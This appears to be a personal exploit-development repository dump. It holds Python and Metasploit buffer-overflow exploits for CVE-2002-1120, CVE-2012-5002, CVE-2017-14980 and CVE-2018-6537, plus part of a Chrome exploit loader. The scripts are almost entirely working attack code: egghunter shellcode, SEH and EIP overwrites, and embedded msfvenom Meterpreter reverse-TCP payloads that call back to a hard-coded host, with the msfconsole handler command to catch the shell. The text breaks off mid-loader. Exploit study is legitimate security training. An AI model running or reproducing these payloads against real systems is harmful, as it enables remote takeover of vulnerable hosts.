├── CVE-2002-1120 ├── CVE-2002-1120.py └── SEH Egghunter CVE-2002-1120.py ├── CVE-2012-5002 ├── CVE-2012-5002.py └── CVE-2012-5002.rb ├── CVE-2017-14980 └── CVE-2017-14980.py ├── CVE-2018-6537 └── CVE-2018-6537.py ├── CVE-2020-16040 ├── CVE-2020-16040.js ├── README.md ├── bowser.js ├── debug │ └── debug.js ├── index.html └── sandbox_esc │ ├── CVE-2020-16041.js │ └── README.md ├── CVE-2023-3079 ├── README.md └── debug │ └── poc.js ├── Helper Scripts └── find_PPR_instruction_seq.wds ├── README.md └── Templates └── type_confuse_exploit_template.js /CVE-2002-1120/CVE-2002-1120.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | try: 8 | server = sys.argv[1] 9 | # Stack layout 10 | port = 80 11 | size = 253 #size was 260, with 3 bytes left in buffer space, partial EIP offset at 253. Adjusted for partial EIP overwrite. 12 | 13 | # Executable is mapped in an addr range begins/contains a nullbyte. 14 | # We can use str null terminator at the end of our inputBuffer as part of our EIP overwrite. 15 | # This allows us to redirect execution flow to any ASM instruction we choose within the address range of the target executable. 16 | # In this context, we do this only overwriting the lower 3 bytes of the EIP register. 17 | 18 | # bad characters - "\x00\x0A\x0D\x20\x25" 19 | 20 | # changed httpMethod from GET to custom - better use of space, short jump of 0x17 opcode here (\xeb\x17) to hit our target buffer space for payload execution (more reliable). 21 | # However, different memory allocation means different operations and checks performed on the operations stored by them which caused our input of short jump to be mangled (different set of bad characters here). 22 | # Alternative used here is instead a conditional jump (use of arithmetic operations) on the ESP register and make it point to beginning of buffer. However, there may also be a different more trivial instruction. 23 | # Limited space in httpMethod below, however should be enough space within httpMethod for the aforementioned. 24 | 25 | #jmp if equal (JE) conditional jump, based on value of the ZF (zero flag) register = 1 (\x0F\x84\x11 = 0F8411000000), existing nullbyte completes the instruction. 26 | httpMethod = b"\x31\xC9" + b"\x85\xC9" + b"\x0F\x84\x11" + b" /" # xor ecx, ecx ; test ecx, ecx; je 0x17 27 | 28 | # Egg hunter via Keystone Engine; searches the process VAS (virtual address space) for an egg, a unique tag prepending the payload we want to execute. 29 | # Windows 10 Pro specific egg (syscall number changes) - ntdll!NtAccessCheckAndAuditAlarm = 1C6h, updating our egg there are nullchars present so we use assembly negate instruction. 30 | # Remember we are running on x86 and not an x64 architecture, so if we run the negate operation on our register, the result will be stored on the lower DWORD of the total value, allowing us to avoid nullbytes. 31 | # Not the most reliable method by hardcoding the sys call, will create an improved reliable exploit in this repo for increased portability/reliability for win targets we have no knowledfe of underlying OS. 32 | 33 | """ 34 | from keystone import * 35 | 36 | EGGHUNTER = ( 37 | # We use the edx register as a memory page counter 38 | " " 39 | " loop_inc_page: " 40 | # Go to the last address in the memory page 41 | " or dx, 0x0fff ;" 42 | " loop_inc_one: " 43 | # Increase the memory counter by one 44 | " inc edx ;" 45 | " loop_check: " 46 | # Save the edx register which holds our memory 47 | # address on the stack 48 | " push edx ;" 49 | # Push the negative value of the system 50 | # call number 51 | " mov eax, 0xfffffe3a ;" 52 | # Initialize the call to NtAccessCheckAndAuditAlarm 53 | " neg eax ;" 54 | # Perform the system call 55 | " int 0x2e ;" 56 | # Check for access violation, 0xc0000005 57 | # (ACCESS_VIOLATION) 58 | " cmp al,05 ;" 59 | # Restore the edx register to check 60 | # later for our egg 61 | " pop edx ;" 62 | " loop_check_valid: " 63 | # If access violation encountered, go to n 64 | # ext page 65 | " je loop_inc_page ;" 66 | " is_egg: " 67 | # Load egg (w00t in this example) into 68 | # the eax register 69 | " mov eax, 0x74303077 ;" 70 | # Initializes pointer with current checked 71 | # address 72 | " mov edi, edx ;" 73 | # Compare eax with doubleword at edi and 74 | # set status flags 75 | " scasd ;" 76 | # No match, we will increase our memory 77 | # counter by one 78 | " jnz loop_inc_one ;" 79 | # First part of the egg detected, check for 80 | # the second part 81 | " scasd ;" 82 | # No match, we found just a location 83 | # with half an egg 84 | " jnz loop_inc_one ;" 85 | " matched: " 86 | # The edi register points to the first 87 | # byte of our buffer, we can jump to it 88 | " jmp edi ;" 89 | ) 90 | """ 91 | 92 | # resulting egg hunter opcodes from above assembly 93 | egghunter = b"\x90\x90\x90\x90\x90\x90\x90\x90\x66\x81\xca\xff\x0f\x42\x52\xb8\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7" 94 | 95 | inputBuffer = b"\x41" * (size - len(egghunter)) 96 | # lower 3 byte overwrite, ensures the terminating str null byte is within our EIP overwrite (00424242). Important not to append anything to the final buffer here, otherwise will replace the nullbyte of our partial EIP overwrite. 97 | inputBuffer += pack(" ; s -b 00400000 00452000 58 C3 (pop eax ; ret) instruction. Address chosen here doesn't contain any further nullbyte or badchars. 98 | httpEndRequest = b"\r\n\r\n" 99 | 100 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.169 LPORT=443 -f python -v payload 101 | # secondary buffer bad chars = zero - no need to retract any bad chars. 102 | payload = b"" 103 | payload += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5" 104 | payload += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31" 105 | payload += b"\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac" 106 | payload += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 107 | payload += b"\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c" 108 | payload += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0" 109 | payload += b"\x8b\x58\x20\x01\xd3\x50\x8b\x48\x18\x85\xc9" 110 | payload += b"\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31" 111 | payload += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4" 112 | payload += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58" 113 | payload += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01" 114 | payload += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b" 115 | payload += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" 116 | payload += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00" 117 | payload += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" 118 | payload += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29" 119 | payload += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a" 120 | payload += b"\x0a\x68\xc0\xa8\x2d\xa9\x68\x02\x00\x01\xbb" 121 | payload += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68" 122 | payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57" 123 | payload += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a" 124 | payload += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a" 125 | payload += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" 126 | payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68" 127 | payload += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" 128 | payload += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" 129 | payload += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28" 130 | payload += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b" 131 | payload += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61" 132 | payload += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" 133 | payload += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6" 134 | payload += b"\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53" 135 | payload += b"\xff\xd5" 136 | 137 | shellcode = b"w00tw00t" + payload + b"\x44" * (400 - len(payload)) #theEgg 138 | 139 | buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode 140 | 141 | print("Sending evil buffer...") 142 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 143 | s.connect((server, port)) 144 | s.send(buf) 145 | s.close() 146 | 147 | print("Done!") 148 | 149 | except socket.error: 150 | print("Could not connect!") 151 | -------------------------------------------------------------------------------- /CVE-2002-1120/SEH Egghunter CVE-2002-1120.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | try: 8 | server = sys.argv[1] 9 | # Stack layout 10 | port = 80 11 | size = 253 #size was 260, with 3 bytes left in buffer space, partial EIP offset at 253. Adjusted for partial EIP overwrite. 12 | 13 | # Executable is mapped in an addr range begins/contains a nullbyte. 14 | # We can use str null terminator at the end of our inputBuffer as part of our EIP overwrite. 15 | # This allows us to redirect execution flow to any ASM instruction we choose within the address range of the target executable. 16 | # In this context, we do this only overwriting the lower 3 bytes of the EIP register. 17 | 18 | # bad characters - "\x00\x0A\x0D\x20\x25" 19 | 20 | # changed httpMethod from GET to custom - better use of space, short jump of 0x17 opcode here (\xeb\x17) to hit our target buffer space for payload execution (more reliable). 21 | # However, different memory allocation means different operations and checks performed on the operations stored by them which caused our input of short jump to be mangled (different set of bad characters here). 22 | # Alternative used here is instead a conditional jump (use of arithmetic operations) on the ESP register and make it point to beginning of buffer. However, there may also be a different more trivial instruction. 23 | # Limited space in httpMethod below, however should be enough space within httpMethod for the aforementioned. 24 | 25 | #jmp if equal (JE) conditional jump, based on value of the ZF (zero flag) register = 1 (\x0F\x84\x11 = 0F8411000000), existing nullbyte completes the instruction. 26 | httpMethod = b"\x31\xC9" + b"\x85\xC9" + b"\x0F\x84\x11" + b" /" # xor ecx, ecx ; test ecx, ecx; je 0x17 27 | 28 | 29 | # Previously, we observed that the original egghunter used the NtAccessCheckAndAuditAlaram function, because the system call number did not change until Windows 8. 30 | # We fixed this by hardcoding the new system call number but this fix came at the cost of portability. We need a way to identify the version of the target operating system beforehand. 31 | # As an alternative, rather than relying on the operating system, we will create and install our own structured exception handler to handle accessing invalid memory pages because the underlying SEH mechanism has not changed drastically over various versions of Windows. 32 | 33 | """ 34 | from keystone import * 35 | 36 | CODE = ( 37 | " start: " 38 | # jump to a negative call to dynamically 39 | # obtain egghunter position 40 | " jmp get_seh_address ;" 41 | " build_exception_record: " 42 | # pop the address of the exception_handler 43 | # into ecx 44 | " pop ecx ;" 45 | # mov signature into eax 46 | " mov eax, 0x74303077 ;" 47 | # push Handler of the 48 | # _EXCEPTION_REGISTRATION_RECORD structure 49 | " push ecx ;" 50 | # push Next of the 51 | # _EXCEPTION_REGISTRATION_RECORD structure 52 | " push 0xffffffff ;" 53 | # null out ebx 54 | " xor ebx, ebx ;" 55 | # overwrite ExceptionList in the TEB with a pointer 56 | # to our new _EXCEPTION_REGISTRATION_RECORD structure 57 | " mov dword ptr fs:[ebx], esp ;" 58 | # subtract 0x04 from the pointer 59 | # to exception_handler 60 | " sub ecx, 0x04 ;" 61 | # add 0x04 to ebx 62 | " add ebx, 0x04 ;" 63 | # overwrite the StackBase in the TEB 64 | " mov dword ptr fs:[ebx], ecx ;" 65 | " is_egg: " 66 | # push 0x02 67 | " push 0x02 ;" 68 | # pop the value into ecx which will act 69 | # as a counter 70 | " pop ecx ;" 71 | # mov memory address into edi 72 | " mov edi, ebx ;" 73 | # check for our signature, if the page is invalid we 74 | # trigger an exception and jump to our exception_handler function 75 | " repe scasd ;" 76 | # if we didn't find signature, increase ebx 77 | # and repeat 78 | " jnz loop_inc_one ;" 79 | # we found our signature and will jump to it 80 | " jmp edi ;" 81 | " loop_inc_page: " 82 | # if page is invalid the exception_handler will 83 | # update eip to point here and we move to next page 84 | " or bx, 0xfff ;" 85 | " loop_inc_one: " 86 | # increase ebx by one byte 87 | " inc ebx ;" 88 | # check for signature again 89 | " jmp is_egg ;" 90 | " get_seh_address: " 91 | # call to a higher address to avoid null bytes & push 92 | # return to obtain egghunter position 93 | " call build_exception_record ;" 94 | # push 0x0c onto the stack 95 | " push 0x0c ;" 96 | # pop the value into ecx 97 | " pop ecx ;" 98 | # mov into eax the pointer to the CONTEXT 99 | # structure for our exception 100 | " mov eax, [esp+ecx] ;" 101 | # mov 0xb8 into ecx which will act as an 102 | # offset to the eip 103 | " mov cl, 0xb8 ;" 104 | # increase the value of eip by 0x06 in our CONTEXT 105 | # so it points to the "or bx, 0xfff" instruction 106 | # to increase the memory page 107 | " add dword ptr ds:[eax+ecx], 0x06 ;" 108 | # save return value into eax 109 | " pop eax ;" 110 | # increase esp to clean the stack for our call 111 | " add esp, 0x10 ;" 112 | # push return value back into the stack 113 | " push eax ;" 114 | # null out eax to simulate 115 | # ExceptionContinueExecution return 116 | " xor eax, eax ;" 117 | # return 118 | " ret ;" 119 | ) 120 | """ 121 | 122 | # resulting egg hunter opcodes from above assembly (prepended with a NOP sled) 123 | egghunter = b"\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3" 124 | 125 | inputBuffer = b"\x41" * (size - len(egghunter)) 126 | # lower 3 byte overwrite, ensures the terminating str null byte is within our EIP overwrite (00424242). Important not to append anything to the final buffer here, otherwise will replace the nullbyte of our partial EIP overwrite. 127 | inputBuffer += pack(" ; s -b 00400000 00452000 58 C3 (pop eax ; ret) instruction. Address chosen here doesn't contain any further nullbyte or badchars. 128 | httpEndRequest = b"\r\n\r\n" 129 | 130 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.169 LPORT=443 -f python -v payload 131 | # secondary buffer bad chars = zero - no need to retract any bad chars. 132 | payload = b"" 133 | payload += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5" 134 | payload += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31" 135 | payload += b"\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac" 136 | payload += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 137 | payload += b"\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c" 138 | payload += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0" 139 | payload += b"\x8b\x58\x20\x01\xd3\x50\x8b\x48\x18\x85\xc9" 140 | payload += b"\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31" 141 | payload += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4" 142 | payload += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58" 143 | payload += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01" 144 | payload += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b" 145 | payload += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" 146 | payload += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00" 147 | payload += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" 148 | payload += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29" 149 | payload += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a" 150 | payload += b"\x0a\x68\xc0\xa8\x2d\xa9\x68\x02\x00\x01\xbb" 151 | payload += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68" 152 | payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57" 153 | payload += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a" 154 | payload += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a" 155 | payload += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" 156 | payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68" 157 | payload += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" 158 | payload += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" 159 | payload += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28" 160 | payload += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b" 161 | payload += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61" 162 | payload += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" 163 | payload += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6" 164 | payload += b"\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53" 165 | payload += b"\xff\xd5" 166 | 167 | shellcode = b"w00tw00t" + payload + b"\x44" * (400 - len(payload)) #theEgg 168 | 169 | buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode 170 | 171 | print("Sending evil buffer...") 172 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 173 | s.connect((server, port)) 174 | s.send(buf) 175 | s.close() 176 | 177 | print("Done!") 178 | 179 | except socket.error: 180 | print("Could not connect!") 181 | -------------------------------------------------------------------------------- /CVE-2012-5002/CVE-2012-5002.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Vanilla Stack-based Buffer Overflow Exploit for Ricoh DC Software DL-10-FTP-Server SR10 4 | # CVE-2012-5002 5 | # JM5 6 | 7 | import struct 8 | import socket 9 | import sys 10 | 11 | target = "172.16.25.140" 12 | port = 21 13 | 14 | junk = b"\x41" * 245 15 | eip = struct.pack(" 'Ricoh DC DL-10 SR10 FTP USER Command Stack-based Buffer Overflow', 15 | 'Description' => <<~DESC.strip, 16 | This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP 17 | service. Exploitation is conditional upon the server being configured 18 | and running the log file enabled. 19 | DESC 20 | 'Author' => [ 21 | 'Julien Ahrens', #Discovery, PoC 22 | 'JM5' #Metasploit 23 | ], 24 | 'References' => [ 25 | ['OSVDB', '79691'], 26 | ['URL', 'http://secunia.com/advisories/47912'], 27 | ['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/'] 28 | ], 29 | 'Payload' => { 30 | 'BadChars' => "\x00", 31 | }, 32 | 'Platform' => 'win', 33 | 'Targets' => [ 34 | [ 35 | 'Windows 2003', 36 | { 37 | 'Ret' => 0x77FB8BAB, #JMP ESP; RETN [ntdll.dll] 38 | 'Offset' => 245 39 | } 40 | ] 41 | ], 42 | 'Privileged' => false, 43 | 'DisclosureDate' => 'Mar 1 2012', 44 | 'DefaultTarget' => 0 45 | ) 46 | ) 47 | 48 | # Deregister of redundant options 49 | 50 | deregister_options('FTPPASS', 'FTPUSER') 51 | end 52 | 53 | def check 54 | connect 55 | disconnect 56 | if banner =~ /220 DSC ftpd 1\.0 FTP Server/ 57 | Exploit::CheckCode::Detected 58 | elsif 59 | Exploit::CheckCode::Safe 60 | end 61 | end 62 | 63 | def exploit 64 | bad_chars = payload_badchars 65 | buf = "#{rand_text_alpha(target['Offset'], bad_chars)}#{[target.ret].pack('V')}#{make_nops(20)}#{payload.encoded}" 66 | 67 | print_status("#{rhost}:#{rport} - Sending #{self.name}") 68 | connect 69 | send_user(buf) 70 | handler 71 | disconnect 72 | end 73 | end 74 | -------------------------------------------------------------------------------- /CVE-2017-14980/CVE-2017-14980.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Sync Breeze Enterprise v10.0.28 (CVE-2017-14980) 3 | # Remote buffer overflow in Sync Breeze Enterprise 10.0.28 allows remote attackers to have unspecified impact via a long username parameter to /login. 4 | 5 | import socket 6 | import sys 7 | 8 | try: 9 | server = sys.argv[1] 10 | port = 80 11 | size = 800 12 | 13 | filler = b"A" * 780 14 | eip = b"\x83\x0c\x09\x10" #JMP ESP opcode (0xff 0xe4) - address 0x10090c83 (little Endian) 15 | offset = b"C" * 4 16 | nops = b"\x90" * 10 # nop sled 17 | 18 | # TCP reverse shell 19 | shellcode = ( 20 | b"\xd9\xc2\xb8\xd4\xc2\xd4\x1c\xd9\x74\x24\xf4\x5b\x31\xc9" 21 | b"\xb1\x52\x31\x43\x17\x83\xeb\xfc\x03\x97\xd1\x36\xe9\xeb" 22 | b"\x3e\x34\x12\x13\xbf\x59\x9a\xf6\x8e\x59\xf8\x73\xa0\x69" 23 | b"\x8a\xd1\x4d\x01\xde\xc1\xc6\x67\xf7\xe6\x6f\xcd\x21\xc9" 24 | b"\x70\x7e\x11\x48\xf3\x7d\x46\xaa\xca\x4d\x9b\xab\x0b\xb3" 25 | b"\x56\xf9\xc4\xbf\xc5\xed\x61\xf5\xd5\x86\x3a\x1b\x5e\x7b" 26 | b"\x8a\x1a\x4f\x2a\x80\x44\x4f\xcd\x45\xfd\xc6\xd5\x8a\x38" 27 | b"\x90\x6e\x78\xb6\x23\xa6\xb0\x37\x8f\x87\x7c\xca\xd1\xc0" 28 | b"\xbb\x35\xa4\x38\xb8\xc8\xbf\xff\xc2\x16\x35\x1b\x64\xdc" 29 | b"\xed\xc7\x94\x31\x6b\x8c\x9b\xfe\xff\xca\xbf\x01\xd3\x61" 30 | b"\xbb\x8a\xd2\xa5\x4d\xc8\xf0\x61\x15\x8a\x99\x30\xf3\x7d" 31 | b"\xa5\x22\x5c\x21\x03\x29\x71\x36\x3e\x70\x1e\xfb\x73\x8a" 32 | b"\xde\x93\x04\xf9\xec\x3c\xbf\x95\x5c\xb4\x19\x62\xa2\xef" 33 | b"\xde\xfc\x5d\x10\x1f\xd5\x99\x44\x4f\x4d\x0b\xe5\x04\x8d" 34 | b"\xb4\x30\x8a\xdd\x1a\xeb\x6b\x8d\xda\x5b\x04\xc7\xd4\x84" 35 | b"\x34\xe8\x3e\xad\xdf\x13\xa9\x12\xb7\x36\x80\xfb\xca\x48" 36 | b"\xd3\x40\x43\xae\xb9\xa6\x02\x79\x56\x5e\x0f\xf1\xc7\x9f" 37 | b"\x85\x7c\xc7\x14\x2a\x81\x86\xdc\x47\x91\x7f\x2d\x12\xcb" 38 | b"\xd6\x32\x88\x63\xb4\xa1\x57\x73\xb3\xd9\xcf\x24\x94\x2c" 39 | b"\x06\xa0\x08\x16\xb0\xd6\xd0\xce\xfb\x52\x0f\x33\x05\x5b" 40 | b"\xc2\x0f\x21\x4b\x1a\x8f\x6d\x3f\xf2\xc6\x3b\xe9\xb4\xb0" 41 | b"\x8d\x43\x6f\x6e\x44\x03\xf6\x5c\x57\x55\xf7\x88\x21\xb9" 42 | b"\x46\x65\x74\xc6\x67\xe1\x70\xbf\x95\x91\x7f\x6a\x1e\xa1" 43 | b"\x35\x36\x37\x2a\x90\xa3\x05\x37\x23\x1e\x49\x4e\xa0\xaa" 44 | b"\x32\xb5\xb8\xdf\x37\xf1\x7e\x0c\x4a\x6a\xeb\x32\xf9\x8b" 45 | b"\x3e") 46 | 47 | shellcode+= b"D" * (1500 - len(filler) - len(eip) - len(offset) - len(shellcode)) 48 | inputBuffer = filler + eip + offset + nops + shellcode 49 | content = b"username=" + inputBuffer + b"&password=A" 50 | 51 | buffer = b"POST /login HTTP/1.1\r\n" 52 | buffer += b"Host: " + server.encode() + b"\r\n" 53 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 54 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 55 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 56 | buffer += b"Referer: http://10.11.0.22/login\r\n" 57 | buffer += b"Connection: close\r\n" 58 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 59 | buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" 60 | buffer += b"\r\n" 61 | buffer += content 62 | 63 | print("Sending evil buffer...") 64 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 65 | s.connect((server, port)) 66 | s.send(buffer) 67 | s.close() 68 | 69 | print("Done!") 70 | 71 | except socket.error: 72 | print("Could not connect!") 73 | -------------------------------------------------------------------------------- /CVE-2018-6537/CVE-2018-6537.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # CVE-2018-6537 3 | # Sync Breeze Enterprise Server v10.4.18 - Remote SEH Overflow 4 | # Tested on: Windows 10 Pro (x86) 5 | 6 | import socket 7 | import sys 8 | from struct import pack 9 | 10 | try: 11 | server = sys.argv[1] 12 | port = 9121 13 | size = 1000 14 | 15 | #nop slide to ensure shellcode decoder has space on the stack, avoids mangling shellcode. 16 | shellcode = b"\x90" * 20 17 | 18 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.169 LPORT=443 -b "\x00\x02\x0A\x0D\xF8\xFD" -f python -v shellcode 19 | # metasploit handler to catch shell (sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.45.169; set LPORT 443; exploit") 20 | shellcode = b"" 21 | shellcode += b"\xbf\xc2\x58\xc2\x13\xdd\xc0\xd9\x74\x24\xf4" 22 | shellcode += b"\x5b\x31\xc9\xb1\x59\x31\x7b\x14\x83\xc3\x04" 23 | shellcode += b"\x03\x7b\x10\x20\xad\x3e\xfb\x2b\x4e\xbf\xfc" 24 | shellcode += b"\x53\xc6\x5a\xcd\x41\xbc\x2f\x7c\x55\xb6\x62" 25 | shellcode += b"\x8d\x1e\x9a\x96\x82\x97\x51\xb1\xad\x28\xee" 26 | shellcode += b"\xcf\xe5\xe7\x31\x83\xca\x66\xce\xde\x1e\x48" 27 | shellcode += b"\xef\x10\x53\x89\x28\xe7\x19\x66\xe4\x73\xb3" 28 | shellcode += b"\x68\x82\xc6\x08\x89\x44\x4d\x30\xf1\xe1\x92" 29 | shellcode += b"\xe6\x75\xa6\x13\xd9\x25\xbd\x4c\xf9\xc4\x12" 30 | shellcode += b"\xe7\xb1\xde\x11\x31\x35\xe2\x50\xf3\x49\x91" 31 | shellcode += b"\x57\x78\xb4\x73\xa6\xbe\x1b\xba\x06\x33\x65" 32 | shellcode += b"\xfb\xa1\xac\x10\xf7\xd1\x51\x23\xcc\xa8\x8d" 33 | shellcode += b"\xa6\xd2\x0b\x45\x10\x36\xad\x8a\xc7\xbd\xa1" 34 | shellcode += b"\x67\x83\x99\xa5\x76\x40\x92\xd2\xf3\x67\x74" 35 | shellcode += b"\x53\x47\x4c\x50\x3f\x13\xed\xc1\xe5\xf2\x12" 36 | shellcode += b"\x11\x41\xaa\xb6\x5a\x60\xbd\xc7\xa3\x7a\xc2" 37 | shellcode += b"\x95\x33\xb6\x0f\x26\xc3\xd0\x18\x55\xf1\x7f" 38 | shellcode += b"\xb3\xf1\xb9\x08\x1d\x05\xc8\x1f\x9e\xd9\x72" 39 | shellcode += b"\x4f\x60\xda\x82\x59\xa7\x8e\xd2\xf1\x0e\xaf" 40 | shellcode += b"\xb9\x01\xae\x7a\x57\x08\x38\x45\x0f\x21\x11" 41 | shellcode += b"\x2d\x4d\x3a\x60\x15\xd8\xdc\x32\x39\x8a\x70" 42 | shellcode += b"\xf3\xe9\x6a\x21\x9b\xe3\x65\x1e\xbb\x0b\xac" 43 | shellcode += b"\x37\x56\xe4\x18\x6f\xcf\x9d\x01\xfb\x6e\x61" 44 | shellcode += b"\x9c\x81\xb1\xe9\x14\x75\x7f\x1a\x5d\x65\x68" 45 | shellcode += b"\x7d\x9d\x75\x69\xe8\x9d\x1f\x6d\xba\xca\xb7" 46 | shellcode += b"\x6f\x9b\x3c\x18\x8f\xce\x3f\x5f\x6f\x8f\x09" 47 | shellcode += b"\x2b\x46\x05\x35\x43\xa7\xc9\xb5\x93\xf1\x83" 48 | shellcode += b"\xb5\xfb\xa5\xf7\xe6\x1e\xaa\x2d\x9b\xb2\x3f" 49 | shellcode += b"\xce\xcd\x67\x97\xa6\xf3\x5e\xdf\x68\x0c\xb5" 50 | shellcode += b"\x63\x6e\xf2\x4b\x4c\xd7\x9a\xb3\xcc\xe7\x5a" 51 | shellcode += b"\xde\xcc\xb7\x32\x15\xe2\x38\xf2\xd6\x29\x11" 52 | shellcode += b"\x9a\x5d\xbc\xd3\x3b\x61\x95\xb2\xe5\x62\x1a" 53 | shellcode += b"\x6f\x16\x18\x53\x90\xd7\xdd\x7d\xf5\xd8\xdd" 54 | shellcode += b"\x81\x0b\xe5\x0b\xb8\x79\x28\x88\xff\x72\x1f" 55 | shellcode += b"\xad\x56\x19\x5f\xe1\xa9\x08" 56 | 57 | inputBuffer = b"\x41" * 124 58 | 59 | #_except_handler overwrite and short jump 60 | inputBuffer+= pack("=87.0.4280.88' 78 | })) { 79 | abort('[error] target Chrome browser is not vulnerable, version in use: ' + browser.parsedResult.browser.version); 80 | } else { 81 | console.log('[success] target Chrome browser is of vulnerable version: ' + browser.parsedResult.browser.version); 82 | // target is vulnerable, call exploit and set timeout. 83 | setTimeout(exploit, 1500); 84 | } 